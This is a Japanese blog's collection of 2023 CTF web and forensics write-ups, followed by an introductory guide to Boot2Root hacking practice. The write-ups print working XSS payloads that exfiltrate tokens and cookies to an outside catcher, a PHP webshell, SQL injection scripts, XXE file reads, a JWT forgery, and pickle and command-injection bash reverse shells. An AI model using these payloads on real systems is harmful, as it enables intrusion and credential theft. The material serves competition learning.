はまやんはまやんはまやん

hamayanhamayan's blog

PlaidCTF 2023 Writeup

[web] Davy Jones' Putlocker

URLを報告する部分があるのでXSSとかCSRFを引き起こす必要がありそう。
ログインした後に指定ページを開いてくれる。

フラグは/graphqlのmutationでflagを呼び出せばいい。
管理者権限の認証情報があればフラグが出てくる。
なので、とりあえず管理者のtokenを抜き出してくることを考えよう。

クライアントサイドはReactで書かれているので色々grepしてみると、dangerouslySetInnerHTMLが使われている部分がある。
ここはHTMLが生で出力されるが、/packages/server/src/renderHtml.mtsにあるように
micromarkというmarkdown2htmlのレンダラーの出力結果が渡されるようである。

だが、よくよく見ると、playlistのdescriptionはそういった処理が嚙んでいないように見え、そのままHTMLが出力されていそうである。
つまり、XSSが可能そう。
試してみよう。

Create Playlistでdescriptionに<img src="x" onerror="alert(1)">を入れて、
/user/3b432966-7dd4-451d-aedb-e8eaf4d27a15みたいにuserのページを開くとアラートが上がってきた。

<img src=x onerror="fetch(`https://yours.requestcatcher.com/test`,{method:`POST`,body:`${localStorage.token}`})">

みたいな感じで送って、報告すればtokenが得られる。
時間制限が割と厳しいので大部分を以下のように自動化した。

import requests
import random
import string

def get_random_string(length):
   return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

host = 'http://[yours].dubs.putlocker.chal.pwni.ng:20002'
username = get_random_string(10)
password = get_random_string(10)

def send_graphql(op_name, query, token=None):
    sent_json = {
        "operationName":op_name,
        "variables":{},
        "query":query
    }
    headers = {} if token is None else {'authorization': token}

    return requests.post(f'{host}/graphql', json=sent_json, headers=headers).json()

token = send_graphql("Register", "mutation Register { register(name: \""+username+"\", password: \"" + password + "\")}")['data']['register']
print(token)

playlist_id = send_graphql("CreatePlaylist", "mutation CreatePlaylist {  createPlaylist(    name: \"attack!\"    description: \"<img src=x onerror=\\\"fetch(`https://yours.requestcatcher.com/test`,{method:`POST`,body:`${localStorage.token}`})\\\">\"  ) {    id    __typename  }}", token)
playlist_id = playlist_id['data']['createPlaylist']['id']
print(playlist_id)

user_id = send_graphql("PlaylistQuery", "query PlaylistQuery {\n  playlist(id: \"" + playlist_id + "\") {\n    id\n    name\n    description\n    episodes {\n      id\n      name\n      __typename\n    }\n    owner {\n      id\n      name\n      __typename\n    }\n    __typename\n  }\n}", token)
user_id = user_id['data']['playlist']['owner']['id']

sent_url = host + '/user/' + user_id
print(sent_url)
send_graphql("Report", "mutation Report {\n  report(\n    url: \"" + sent_url + "\"\n  )\n}", token)

admin_token = input('Enter admin_token: ')

print(send_graphql("Flag", "mutation Flag {\n  flag}", admin_token))

Bucket CTF 2023 Writeups

[web] Auth

ページにアクセスするとbasic認証っぽい感じで認証を求められる。
認証に失敗すると
Wrong username or password; register using /register and the username and password params
と言われるので、色々試すと以下のようにするとアカウントが作成できる。

GET /register?username=guest&password=guest HTTP/1.1
Host: 213.133.103.186:7821

ok. basic認証で渡してみる。

GET / HTTP/1.1
Host: 213.133.103.186:7821
Cache-Control: max-age=0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

すると以下のようにトークンが発行される。

HTTP/1.1 200 OK
X-Powered-By: Express
Info: check /info
Content-Type: text/html; charset=utf-8
Content-Length: 131
ETag: W/"83-Gf0yXpjbkDgYrX+RsaQV1fmUwUA"
Date: Sat, 08 Apr 2023 04:51:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNjgwOTI5NDY0fQ.0wrnDVlN7IHV3AJCorzg0qQO8Tf6UxrPSocoonpOgTw

Info: check /infoと情報がさらに与えられるので/infoに行くとcheck the /validate route; use token as the query paramと言われる。
言われた通りGET /validate?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNjgwOTI5MjI0fQ.Qmpr2gtKzXtBHHjOFUi_hEl0fSm8ClAuQezGrVnluuIのようにアクセスしてみると、only the admin account has permissions to access the flagと言われる。
jwt.ioでpayloadを見てみると{"username": "guest","iat": 1680929224}のような感じになっている。
これの偽装のために{"username": "admin","iat": 1680929224}と変更をして、jwtを作り検証部分を削るとフラグが得られた。
具体的にはGET /validate?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjgwOTI5MjI0fQ.のような感じ。

[web] gif

ファイルアップロードができるサイトが与えられる。
試しに適当なgifファイルをabc.gifという名前でアップロードしてみると、成功する。
完全に想像だが、/uploads/abc.gifに行ってみるとアップロード物が確認できた。(guessです)

名前をabc.gif.phpに変更し、先ほど送ったgif画像の末尾に<?php phpinfo();をつけてアップロードすると、これも成功する。
/uploads/abc.gif.phpに行くとphpinfoが動いているので任意phpコード実行ができそうだ。
phpコードを<?php passthru($_GET['c']);にして、?c=idとするとidコマンドが実行できていることが確認できた。
色々探索するとルート直下にflag.txtというファイルが見つかるので、最終的には?c=cat%20/flag.txtでフラグ獲得できる。

[web] SQLi-1

シンプルなログイン画面が与えられる。
SQLクエリを推測して、
usernameをadmin、passwordを' or ''='とするとフラグが得られた。

[web] SQLi-2

同様にシンプルなログイン画面が与えられる。
セミコロンは使えなくなったようだが、それを使ったペイロードではないので問題ない。
前問同様にusernameをadmin、passwordを' or ''='とするとフラグが得られた。

[web] SQLi-3

同様にシンプルなログイン画面が与えられる。
今回はフラグがどこかのテーブルにあるらしい。
SQLインジェクションは変わらずできそうではあるが、入力にクエリの結果を含めることはできなさそうなので
Blind SQL インジェクションで情報を抜き出すことをやってみよう。

import requests
import time

url = 'http://[ip]:[port]/login'

#req = 'SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES'
#[*] done! information_schema,mysql,performance_schema,railway,sys
#req = "SELECT GROUP_CONCAT(distinct table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='railway'"
#[*] done! Flag,Users
#req = "SELECT GROUP_CONCAT(distinct column_name) FROM INFORMATION_SCHEMA.columns WHERE table_name='Flag'"
#[*] done! id,value
req = "SELECT GROUP_CONCAT(distinct value) FROM Flag"

ans = ""
for i in range(1, 1010):
    ok = 0
    ng = 255

    while ok + 1 != ng:
        md = (ok + ng) // 2
        exp = f"' or if({md} <= ascii(substring(({req}),{i},1)), 1, 0) #"
        res = requests.post(url, data={'userName':'admin','password':exp})
        if 'no' not in res.text:
            ok = md
        else:
            ng = md

    if ok == 0:
        break

    ans += chr(ok)
    time.sleep(1)
    print(f"[*] {ans}")
print(f"[*] done! {ans}")

適当にこんな感じのものを書いて抜き出すとフラグが得られる。

splunkで日本語を使って検索が効かなかった問題を解決した方法例

絶対忘れるから備忘録。
正攻法なのかはわからない。
正しい方法を知ってる人はぜひ教えてほしいです…

事象

こんな感じにちゃんと入ってるけど日本語みたいに検索しても出てこない。

原因

\uXXXXで入ってるからダメっぽい。

rawで見るとこんな感じ。\uXXXXの表記になってると普通に検索できない。
HECで送る場合は以下のようなリクエストになっている。
ここで議論されていることと同一。

curl https://[splunk]:8088/services/collector/event -H "Authorization: Splunk [token]" -d '{"event": {"japanese": "\u65e5\u672c\u8a9e"}}' -k

自分の場合はpythonで叩いていて、json.dumpsを使ってdata部分を作成しているとこうなった。

解決

\uXXXXエンコードせずにjsonに変換してやればいい。
具体的にはこの記事にあるようにjson.dumps時にensure_ascii=Falseをつけてやる。
CLI的には素直に

curl https://[splunk]:8088/services/collector/event -H "Authorization: Splunk [token]" -d '{"event": {"japanese": "日本語"}}' -k

みたいな感じになるようにすればいい。比較してみると、以下のように見た目は一緒なんだけど、

rawテキスト表記にしてみると、

のように違ってくる。rawテキストで見たときに、\uXXXXの表記ではなくそのままの文字になってなければ検索でもちゃんと引っかかってくる。

DamCTF 2023 Writeups

[web] tcl-tac-toe

ソースコードあり。
三目並べができるサイトが与えられる。
勝つとフラグが与えられるようだ。

以下2点の性質を活用することで、Xの勝利状態を引っ張り出す。

  1. 勝負が決まった後でも状態が初期化されずに残る
  2. 勝ち負けの判定時に各パターンについてXの勝利判定の方が優先して行われる

具体的にどうやって勝ち状態を引っ張り出すかであるが、まずは何とかして

X O O
X O X
  O X

という負け状態を作り出す。
別に他のパターンでもいいが、computer_make_moveを見ると各パターンごとに
XかOかの勝ち状態を判定している感じのイテレーションなので、
注意して負け状態を作る必要がある。

このとき

X O O X O X - O X,915f9a224afddafe0afb2ffbc7e5d7002233ac87d0c221e7aedaff9c74d62ad094be4d942bbc4796dcddca009041618e4ace43960b8947de744fad2ccff3343f9a1a68978ff5feb1a4157d951cc4bf24747f3a6dadc8ebf7c1b87c8a1d8ae9ba51b6142fb99b7dce8e0a8e9ed2a4c8c9aa0117b210aaa776bc7d7e81f2c275ae3e2af19839bf9eae5204af3e625a4801fa958a3c913ded97a607e63ffd0df47d9fdeb013921bf89549e6893110ddb77c5c1ad3d3e415c2f3b3767898f8ffcd9b78e153b09b7ffa23c411c7ecd2090bfae2d2571ac0d37db9a9e2d2e2360c5d923fcf72c0cc3d5fa7999faa334339ad615c3ede3c849d4ee41eecf978d0e96b39,Haha I win!

のように負けとして判定が帰ってくるが、この負け状態に対する署名を得ることができる。
このとき、性質1を使えば、この署名を使って無理矢理ゲームを続行することができる。
これを使って以下のようなリクエストを作成しよう。

POST /update_board HTTP/1.1
Host: tcl-tac-toe.chals.damctf.xyz
Content-Length: 611
Content-Type: application/x-www-form-urlencoded
Connection: close

prev_board=X%20O%20O%20X%20O%20X%20-%20O%20X&new_board=X%20O%20O%20X%20O%20X%20X%20O%20X&signature=915f9a224afddafe0afb2ffbc7e5d7002233ac87d0c221e7aedaff9c74d62ad094be4d942bbc4796dcddca009041618e4ace43960b8947de744fad2ccff3343f9a1a68978ff5feb1a4157d951cc4bf24747f3a6dadc8ebf7c1b87c8a1d8ae9ba51b6142fb99b7dce8e0a8e9ed2a4c8c9aa0117b210aaa776bc7d7e81f2c275ae3e2af19839bf9eae5204af3e625a4801fa958a3c913ded97a607e63ffd0df47d9fdeb013921bf89549e6893110ddb77c5c1ad3d3e415c2f3b3767898f8ffcd9b78e153b09b7ffa23c411c7ecd2090bfae2d2571ac0d37db9a9e2d2e2360c5d923fcf72c0cc3d5fa7999faa334339ad615c3ede3c849d4ee41eecf978d0e96b39

これによって

X O O
X O X
X O X

のようなXもOも勝っているような盤面を作成することができるが、判定の順番の関係でXの勝利と結論付けさせることができる。
これによってフラグが得られる。

[web] url-stored-notes

メモアプリが与えられる。
pyscriptというライブラリを使ってpythonをブラウザ上で動かすことで、メモのシリアライズとデシリアライズをしている。
メモによってscript以外のタグを内容有で埋め込むことができる。

色々直でXSSを試したがうまくいかない。
<py-script>print("test")</py-script>
のようにpy-scriptタグを埋め込んでみると良い感じに実行されてきた。
これは使えそう。

色々payloadを試してみて、結局以下の記事が参考になった。
https://github.com/pyscript/pyscript/issues/373
対応するプルリクが以下でtesコードからhtmlの埋め込み方がわかる。
https://github.com/pyscript/pyscript/pull/915/files
payloadを書いてしまうと以下のような感じにすればXSS発動してCookieを抜ける。
<py-script>display(HTML("<img src=x onerror=fetch('https://[yours].requestcatcher.com/test?'+document.cookie)>"))</py-script>

request catcherで待ち受けて、以下のようにPOSTを投げるとフラグが降ってくる。

POST /report HTTP/1.1
Host: url-stored-notes.chals.damctf.xyz
Content-Type: application/x-www-form-urlencoded
Content-Length: 384

url=http%3a%2f%2furl-stored-notes.chals.damctf.xyz%2f%23%2fTd6WFoAAATm1rRGAgAhARYAAAB0L%2bWj4ACtAJ5dAC2ewEcDz40ozKl1G8HgzpiWSPLZsYfJ%2fuZzHfFAKs4GxJzHN6jAd8EFzfok6prMQckTtlr7qc%2fH4pV%2bsdhYY4RIWR8SCROdY4T69eL%2bTG7tG7XusrjC28ohNpkzr2KC7TB3%2fp%2b%2bw%2fZ5lnf82nyTBWpAJzkQwEKsBV64r%2bRFH4FwLN4ba1D60v6XBAnuEqPQfOfjvaXfIAqcIBC8i5oAAAAAFzcvmGxb%2b34AAboBrgEAAH%2fJEumxxGf7AgAAAAAEWVo%3d

RITSEC CTF 2023 Writeups

[Forensics] Web of Lies

pcapngファイルが与えられる。
WireSharkで眺めてみると、フラグを取得するHTTPリクエストがたくさん確認できる。
しかし、どれも取得はできておらず、代わりに400か401応答が並んでいる。
ステータスコードの末尾が0と1ということで順番にもってきて0と1にそれぞれ変換して
binaryからasciiに変換するとフラグが現れる。

[web] Broken Bot

ログイン画面が現れる。
このログイン画面に適当に認証情報を入れてみると、telegram api経由でtelegramに送る通信が走る。

POST /bot6055124896:AAFyQlC_8dr1GndB26ji4iV2ol2bPPQ9lq4/sendMessage HTTP/1.1
Host: api.telegram.org
Content-Length: 466
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Accept: */*
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://brokenbot-web.challenges.ctf.ritsec.club
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://brokenbot-web.challenges.ctf.ritsec.club/
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

chat_id=5852841790&text=***Rit+Cloud+Storage+by+Zach+A**%0A%0AEmail%3A+WhiteTeam%40rit.edu%0APassword+%3A+dbcc%0AIP+Address+%3A+138.199.21.27%0ARegion+%3A+undefined%0ACity+%3A+undefined%0ACountry+%3A+undefined%0AUseragent+%3A+Mozilla%2F5.0+(Windows+NT+10.0%3B+Win64%3B+x64)+AppleWebKit%2F537.36+(KHTML%2C+like+Gecko)+Chrome%2F111.0.5563.111+Safari%2F537.36%0AFormat+%3A+WhiteTeam%40rit.edu%0ADate+Filled+%3A+2023%2F4%2F1%0ADateSent+%3A+1%2F28%2F2023+2%3A55%3A30+p.m.

ちょっと調べると別のエンドポイントを使って情報収集できそう。
https://api.telegram.org/bot6055124896:AAFyQlC_8dr1GndB26ji4iV2ol2bPPQ9lq4/getUpdates
これをみると
https://t.me/rochesterissodamncoldbot
というURLを見つけることができ、ここにフラグが書いてあった。

[web] Echoes

ソースコード無し。
入力した文字列をそのままechoしてくれるサイトが与えられる。
echoと言えば、入力した文字列をそのまま出力するechoコマンドが思い浮かばれるのでコマンドインジェクションのpayloadを試していく。

試しに`ls`を入れてみたらディレクトリが列挙された。
なので`cat flag.txt`とするとフラグ獲得。

[web] Pickle Store

ソースコード無し。
品物を選択できるサイトが与えられる。
問題文にPickleとあるので、Pickleを悪用するのだろう。

GET /order HTTP/2
Host: pickles-web.challenges.ctf.ritsec.club
Cookie: order=gASVDwAAAAAAAACMC3N3ZWV0cGlja2xllC4=

このようなリクエストがある。
pickleを渡しているのだろうと推測してリバースシェル張ってみると、
応答が帰って来る。

import pickle, os

class SerializedPickle(object):
    def __reduce__(self):
        return(os.system,("/bin/bash -c '/bin/bash -i >& /dev/tcp/[ip]/443 0>&1'",))

pickle.dump(SerializedPickle(), open('exploit','wb'))

こんな感じでpayloadを作って、base64で入力するみたいなので、
$ cat exploit | base64
のように最終的なpayloadを作って送り込む。

[web] X-Men Lore

ソースコード無し。
X-MENのファンサイトが与えられる。

GET /xmenの出し方がかなり特殊。

GET /xmen HTTP/2
Host: xmen-lore-web.challenges.ctf.ritsec.club
Cookie: xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+V29sdmVyaW5lPC94bWVuPjwvaW5wdXQ+

のようにCookieに何かしら情報を入れて、表示を切り替えている。
base64っぽいのでデコードしてみると、
<?xml version='1.0' encoding='UTF-8'?><input><xmen>Wolverine</xmen></input>
のようにxmlが現れる。
だから、xmenなのね。

xmenタグの中身をTestみたいに変えてbase64エンコードして渡してみると、Testというのが跳ね返ってきた。
なるほど。XMLなので、XXEで攻撃を試してみよう。

<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><input><xmen>&xxe;</xmen></input>
これをbase64エンコードして渡してみると/etc/passwdの中身が抽出できた。
適当にフラグの場所をエスパーすると
<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file://flag" >]><input><xmen>&xxe;</xmen></input>
でフラグが得られた。カレントディレクトリにflagというファイルがあったようだ。

VishwaCTF 2023 Writeups

[Forensics] 1nj3ct0r

USBの通信をキャプチャしたpcapngファイルが与えられる。
No.107のパケットがDESCRIPTOR Response HID Reportであり、
ここから7.16.Xがキーボードであることが読み取れる。
7.16.1 -> hostの通信にHID Dataが乗っているので、抜き出してみる。

0000
0009
0000
000f
0000
0004
...

となっているので、結構キーボード入力のキャプチャっぽい。
微妙にいつもと様式が異なるので、すべての先頭に00を付けて
Decoding Mixed Case USB Keystrokes from PCAP
にあるスクリプトに通してみるとキーボード入力が得られた。

$ python3 a.py a.txt
flag;[n0w-y0u-423-d0n3-w17h-u58-f023n51c5]

-を_に変換して[]の中身をVishwaCTF{}にくるめば答えのフラグ。

[Forensics] The Sender Conundrum

メールと暗号化zipが与えられる。
メールの内容は以下の通り。

Hello Marcus Cooper,
You are one step behind from finding your flag. 
Here is a Riddle: 
I am a noun and not a verb or an adverb.
I am given to you at birth and never taken away,
You keep me until you die, come what may.
What am I?

英語でなぞなぞするな…と思ってChatGPTに聞いてみると答えは"Name"らしい…がこれでは解凍できない。
総当たりでパスワードクラックを試すと、パスワードが判明し解凍すると答えになる。

$ zip2john unzipme.zip > h
ver 1.0 unzipme.zip/unzipme/ is not encrypted, or stored with non-handled compression type
ver 1.0 efh 5455 efh 7875 unzipme.zip/unzipme/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=52, decmplen=40, crc=685F97F7 ts=A65D cs=a65d type=0

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
BrandonLee       (unzipme.zip/unzipme/flag.txt)

BrandonLeeは俳優の名前であり、なぞなぞの回答で解凍はできないようだ…

[web] aLive

ソースコード無し。
ドメインを入力してactive/inactiveを判定してくれるサイトが与えられる。

POST /に対してdomain=localhostみたいな感じでドメインを渡している。
何かしらのコマンドで確認していて、コマンドインジェクションできそうと仮定して色々やるとdomain=`sleep%2010` で10秒waitがかかる。
実行結果は取得できないが、コマンドインジェクションはできてそうだ。 OOB抽出とかいろいろやったけれど、最終的にconohaで適用にPC作ってリバースシェル確立してフラグを得た。 conohaだと時間課金なので適当に作って潰してがやりやすいので重宝している。

conohaで適当にUbuntuでサーバーを立てて、ufw allow 443みたいにポート開けてnc -lnvp 443で待つ。
domainに`/bin/bash -c "/bin/bash -i >& /dev/tcp/[yourip]/443 0>&1"`を入れるとリバースシェルが発火してシェルが得られる。
カレントディレクトリにflag.txtがあるので、cat flag.txtしてみるとフラグが置いてある。
サーバーは使い終わったら消しておくこと。管理がちゃんとしてないなら、コスト面での安全性の面でも残しておくのはおすすめしない。

[web] Eeezzy

ログイン画面と検証のためのソースコードが与えられる。

<?php

    session_start();
    $_SESSION['status']=null;

    $flag="";
    try {
        if (isset($_GET['username']) && isset($_GET['password'])) {
            if (strcmp($_GET['username'], $flag)==0 && strcmp($_GET['password'], $flag)==0)
                $_SESSION['status']=$flag;
            else
                $_SESSION['status']="Invalid username or password";
        }
    } catch (Throwable $th) {
        $_SESSION['status']=$flag;
    }

?>

strcmpでユーザー名パスワードを検証していて、
途中で仮に例外になってもフラグがもらえるみたい。
適当にパラメタを配列化してやればフラグが出てきた。

GET /?username=&password[]=&submit=Login HTTP/2
Host: ch411114113999.ch.eng.run

よくわからないのが、usernameもpasswordも配列にするとフラグが出てこなかった。
なぜだろう?

[web] Payload

ソースコード無し。
System detailsというボタンがあり、押してみるとunameの結果っぽいものがもらえる。

ノーヒントなので、とりあえず/robots.txtを見てみると、ソースコードがもらえる。

<?php
    if(isset($_GET['cmd'])){
        system($_GET['cmd']);
    }
    else {
        if(isset($_GET['btn'])){
            echo "<b>System Details: </b>";
            system("uname -a");
        }
    }
?>

/?cmd=idでidコマンドの結果が得られた。
/?cmd=cat%20index.phpでindex.phpの内容を得ることができ、そこにフラグも書いてある。

Boot2Rootまとめ [HackTheBox,TryHackMe,入門]

はじめに

HackTheBox、TryHackMe、OSCPの勉強をしていてまとめていたBoot2Rootについてのナレッジをまとめていくことにした。
俗にいう一般イメージ的なハッキングというか、ハッキングされてランサムウェア被害が…みたいな過程を味わえるのがこの分野の問題になっている。

普通の環境に対してこれから紹介する知識を使ったら犯罪なので注意。
何を言われているかよくわからない人は見ないほうがいいです。
レッドチーム向けに役立つとは思うけれど、こんなまとめを見ないでちゃんとした資料で勉強した方がいいです。

Boot2Root

Boot2Rootでは、一般的には以下のような問題が出る。

脆弱な端末が提示され、その端末の管理者権限でのシェルを奪取せよ

問題文として提示されるのは攻撃先端末のIPアドレスだけである。(問題によっては追加情報があったりするけど)
なので、競技者はこのIPアドレスにアクセスをして、どういったサービスが動いているか、どういった脆弱性が存在するかというのをゼロから探索していくことになる。

ゴールについて

どうやって管理者権限を奪取したかを示すかであるが、CTFと同様に管理者しかアクセスできない所に「フラグ」が置いてあることが多い。
WindowsであればC:\Users\Administrator\Desktop\root.txtLinuxであれば/root/root.txtのような感じで置かれているので、これを提出すれば問題クリアとなる。
便宜上、ルートフラグと呼ぶことにする。

多くの問題ではチェックポイントとして、ユーザーフラグというものもある。
これは、ユーザー権限でのシェル奪取が成功したときに手に入るフラグである。
WindowsであればC:\Users\[任意ユーザー]\Desktop\user.txtLinuxであれば/home/[任意ユーザー]/user.txtのような感じで置かれている。
(所説ありそうですが、シェル奪取/獲得というのは、コマンドプロンプトとかbashみたいな雰囲気でコマンド実行できる状態を確保することを指します)

これ以外にも問題によっては攻撃の過程で手に入る情報について細かく回答したり、
フラグが3個以上あったり、特殊な場所にフラグが置いてあるものもあるが、特に断りが無ければ、↑のような形式を想定していればよい。

初学者に向けて

Boot2Rootに初めて取組む場合は、手取り足取り教えてくれる記事や文献を参考にしながら始めていくのがいい。
(というかそれしかなさそう)
あと問題に取り組む前に色々設定しなきゃいけなかったりするので、その辺も参考にすること。
「Boot2Root入門」と銘打っておきながら、この辺の手取り足取りは他に優れた記事が多数あるので、
そちらを参考にしてほしい。

プラットフォームについて

とりあえず3つ挙げておく。

  1. TryHackMe (https://tryhackme.com/) 超オススメ。ステップバイステップのものもあるので、初学者はここからが良い
  2. HackTheBox (https://www.hackthebox.eu/) オススメ。ちょっと前まで崖から突き落として這い上がってきた者限定サイトだったが、最近は学習教材もある
  3. VulnHub (https://www.vulnhub.com/) やや古く自分で環境を立ち上げる必要もあるので、初手ではオススメしない

ほかにもそれっぽいものがいくつかあるが、入門向けの本記事で扱う感じではないと思うので、とりあえず上の1,2をやるといい。3はちょっと微妙かも。

具体的な流れについて

さて、つらつら書いたが、これだけ聞いても想像が難しいかもとも思う。
実際に解く場合の流れについて、実例を以下に上げておく。

https://blog.hamayanhamayan.com/entry/2021/05/13/223627 を例にしています。ネタバレ有り注意)

  1. 謎のIPアドレスが与えられる
  2. 何が動いているかも分からないのでnmapでポートスキャンをして、何のポートが開いているか特定する
  3. ポート80が開いていて、見てみるとweb server(apache2)が動いていた。
  4. dirbusterでディレクトリスキャンをして、web serverで何が動いているか確認する
  5. /simpleというディレクトリが見つかり、CMS Made Simple version 2.2.8が動いていることが分かった
  6. このCMSには脆弱性CVE-2019-9053が報告されており、この脆弱性を利用するとCMSの管理者パスワードが特定できた
  7. CMSにログインするととあるユーザー名も特定できる
  8. 6で特定したパスワードは使いまわされており、このパスワードと7で得たユーザー名でssh接続すると成功
  9. /home/mitch/user.txtにユーザーフラグがある
  10. sudo -lをしてこのユーザーがsudoを通じて実行可能なものを確認する
  11. sudoを使えばroot権限でvimが動かせることが分かったので vim | GTFOBins を参考にして、これを悪用してvimからシェルを起動する。vimは管理者権限で動かせているので、そこから起動できるシェルもroot権限を持つ
  12. root権限のシェルが獲得できたので /root/root.txt が確認でき、これがルートフラグ

これを読んですんなり理解できるならば、かなり素養があるというか、周辺知識が豊富だと思う。
かなり抽象的に説明をすると、「ひたすら探索」→「脆弱点を攻撃」を繰り返して、現状よりもより上位の権限を奪取していくのが基本方針となる。
最初は、サーバーを利用するユーザーとしての権限しかない状態であるが、そこから得られる情報を探索し、脆弱点が見つかるとそれを悪用して別のユーザーが利用可能になる。
別のユーザーが利用可能になることで認可範囲も増えるのでさらに広い範囲で情報探索ができるようになる。
さらに広い範囲で情報探索をすると、新しく脆弱点が発見でき、さらに別のユーザーが利用可能に…ということを繰り返して最終的にはルート権限を得る。
上の実例をちょっとだけ抽象化すると、以下のようになる。

「どういうサービスが動いているか探索」手順1~5
→ 「脆弱点を突いて、ユーザーシェルを獲得する(ユーザーフラグ獲得)」 手順6~9
→ 「使えるようになったユーザーで何ができるか探索」手順10
→ 「脆弱点を突いて、ルートシェルを獲得する(ルートフラグ獲得)」手順11~12

これを繰り返すことでユーザーシェルを獲得したり、ルートシェルを獲得していくことになる。

より体系的/発展的な話

これ以降はより体系的な話、もしくは、より発展的な話をすることにする。
Boot2Rootについてなんとなく理解できていることを前提として進めるので注意。

より強くなるには

  • Boot2Rootはひたすら『探索』->『脆弱点をついて水平/垂直移動』を繰り返すゲームである
    • 必要とされる概念自体はそれほど多くはないが、サービスは無限にあるのでそれらすべてに対応する必要がある
    • おそらく出題側も完璧な知識は要求しておらず、見慣れぬサービスを見つけたら適切に検索して攻撃することが大切
  • 攻撃の過程でCTFの1部分が要求されることがある
    • 特にユーザーシェルを獲得するためにweb serverが起点になることは多く、Webカテゴリが得意であれば多少有利に働くこともあると思う
    • だが、普通にpwnも出るし、revも出るし、たまにcryptoも出る。forensicsもそう。
  • 根気と自動化
    • 根気よくひたすら基本の列挙をしていくのが重要な気がする
    • 抜け漏れと時間短縮のため、ある種の自動化をしていくのもオススメ
  • 最新技法のキャッチアップ
    • 流行っている最新の攻撃方法を使うような問題がタイムリーに出たりする
    • 難しい問題だとパッチが当たりきっているWindowsウイルス対策がかかっているみたいな状況もあり、対策されていないウイルス対策回避を自ら行うか、Twitterで適用に拾ってきた最新手法を適用してみたりすると攻撃が通ったりする
  • Rabbit Holeについて
    • Rabbit Holeというワードを見かけることがあるかもしれないが、これは出題者が置いた攻略には関係ない要素のことを指す
    • つまり、脆弱な点を探しても見つからない、囮のような部分になる
    • 明らかに怪しいものであっても意図的に置かれたRabbit Holeである可能性があるので、1点にこだわるのではなく、網羅的に探索を行うようにしよう

『探索』について

先ほど書いたようにBoot2Rootでは『探索』->『脆弱点をついて水平/垂直移動』を
繰り返すので脆弱点を付くのはもちろんだが、探索の質も要求される。
機械的にもれなく探索することが要求されるのはもちろんだが、時には攻撃者の気持ちになって探索的に探索を行うことも重要になる。

探索のメソッドの1つはスキャンである。 リクエストを飛ばし、その応答によって環境を把握する。

  • ポートスキャン
    • TCP/UDPでポートスキャンをしてサーバがどのようなポートを開けているか確認する。初手で確認するスキャン
    • どのようなサーバも何かを送ることができなければ攻撃できず、逆に、何かを送れるということはそこが攻撃点である可能性がある
    • ここで見つかったサービスに対して更なるスキャンを実施していく
  • 辞書を使ったスキャン
    • 「辞書」については後でセクションを用意するが、辞書を使ったスキャニングが求められる
    • ディレクトリスキャン: HTTP系サービスが動いているときにディレクトリ、ファイルパスを辞書を使ってスキャンすることで使えるエンドポイントが無いかを探す
    • パラメタスキャン: これも特にHTTP系サービスにおいて、普段は使われていない未知のパラメタを発見することを期待してスキャンをかける
    • サブドメインスキャン: これもよくあるのだが、ドメインが明示されているとき(エスパーのときもあるが)にサブドメインを列挙して、挙動が変わらないかを確認する
  • 脆弱性を狙ったスキャン
    • sqlmapのような脆弱性があるかどうかを確かめるスキャナーもある
  • 他にもサービス毎に固有のスキャン方法がある
    • WordPressが動いていたらwpscanを使ってみるといった感じで星の数ほどある
    • 少しニュアンスは違うかもしれないが、シェルを獲得した後にはlinpeasやwinpeasのようなスクリプトを使って環境をスキャンしたりする。これはリクエストを飛ばすというより設定ファイルを確認してくれるようなものだが、ネットワーク通信を介在しないだけで、あまりやっていることは変わらない
  • スキャンの範疇で語っていいかわからないが、ユーザー名を使った辞書攻撃をしてユーザー名を特定していく手法もある

他にもOSINTで情報を得る場合もある。
例えばポート443で会社のホームページがホスティングされていて社員紹介のページがあれば、
ユーザー名がそこから類推可能かもしれない。

悪用される『脆弱点』について

  • 脆弱性
  • 脆弱な設定を突いたり、認可が最小化されていない
    • 権限昇格時に多いかも
    • 重要なファイルがpublicになっていたり
  • 人間的な脆さを利用

と簡単に書いてしまったが、本当に色々ある。
網羅的に見たい場合はMITRE ATT&CKみたいなマジなやつを見たほうがいい。
この記事にぶら下げる子記事で紹介されるようなことはほぼほぼ脆弱点にまつわることだと思う。

横展開、もしくは、権限昇格をいかに行うか

(このセクション、用語の使い方がおかしい可能性あります)

水平移動、垂直移動とも言ったりする。
シェルを獲得した後に 水平も垂直もメソッド的にはそれほど違いはなく、単にどのユーザーに移るかによって言い方が変わる印象

  • 横展開, 水平移動, Lateral Movement, Pivoting
    • 一般ユーザーの権限を使って、他の一般ユーザーの権限を得ること
      • もしくは、侵害済みの端末を使って、他の端末のアクセス権限を得ること
    • 少し難しい問題だと、ユーザーシェルが手に入った後、権限昇格するために一旦他のユーザー権限を得る必要があるかも
